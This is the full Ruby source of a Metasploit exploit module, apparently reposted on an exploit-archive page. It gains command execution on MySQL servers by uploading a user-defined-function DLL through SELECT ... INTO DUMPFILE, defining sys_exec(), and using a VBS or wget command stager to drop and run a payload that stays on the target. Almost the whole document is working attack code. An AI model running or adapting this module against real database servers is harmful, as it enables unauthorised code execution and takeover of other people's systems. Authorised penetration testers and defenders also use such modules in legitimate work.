Oracle MySQL UDF Payload Execution
Posted on 22 December 2017
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::MYSQL include Msf::Exploit::CmdStager def initialize(info = {}) super( update_info( info, 'Name' => 'Oracle MySQL UDF Payload Execution', 'Description' => %q{ This module creates and enables a custom UDF (user defined function) on the target host via the SELECT ... into DUMPFILE method of binary injection. On default Microsoft Windows installations of MySQL (=< 5.5.9), directory write permissions not enforced, and the MySQL service runs as LocalSystem. NOTE: This module will leave a payload executable on the target system when the attack is finished, as well as the UDF DLL, and will define or redefine sys_eval() and sys_exec() functions. }, 'Author' => [ 'Bernardo Damele A. G. <bernardo.damele[at]gmail.com>', # the lib_mysqludf_sys.dll binaries 'todb', # this Metasploit module 'h00die' # linux addition ], 'License' => MSF_LICENSE, 'References' => [ # Bernardo's work with cmd exec via udf [ 'URL', 'http://bernardodamele.blogspot.com/2009/01/command-execution-with-mysql-udf.html' ] ], 'Platform' => ['win', 'linux'], 'Targets' => [ [ 'Windows', {'CmdStagerFlavor' => 'vbs'} ], # Confirmed on MySQL 4.1.22, 5.5.9, and 5.1.56 (64bit) [ 'Linux', {'CmdStagerFlavor' => 'wget' } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Jan 16 2009' # Date of Bernardo's blog post. )) register_options( [ OptBool.new('FORCE_UDF_UPLOAD', [ false, 'Always attempt to install a sys_exec() mysql.function.', false ]), OptString.new('USERNAME', [ false, 'The username to authenticate as', 'root' ]) ]) end def username datastore['USERNAME'] end def password datastore['PASSWORD'] end def login_and_get_sys_exec m = mysql_login(username,password,'mysql') return if not m @mysql_arch = mysql_get_arch @mysql_sys_exec_available = mysql_check_for_sys_exec() if !@mysql_sys_exec_available || datastore['FORCE_UDF_UPLOAD'] mysql_add_sys_exec @mysql_sys_exec_available = mysql_check_for_sys_exec() else print_status "sys_exec() already available, using that (override with FORCE_UDF_UPLOAD)." end return m end def execute_command(cmd, opts) mysql_sys_exec(cmd, datastore['VERBOSE']) end def exploit m = login_and_get_sys_exec() if not m return elsif not [:win32,:win64,:linux64,:linux32].include?(@mysql_arch) print_status("Incompatible MySQL target architecture: '#{@mysql_arch}'") return else if @mysql_sys_exec_available execute_cmdstager({:linemax => 1500, :nodelete => true}) handler else print_status("MySQL function sys_exec() not available") return end end disconnect end end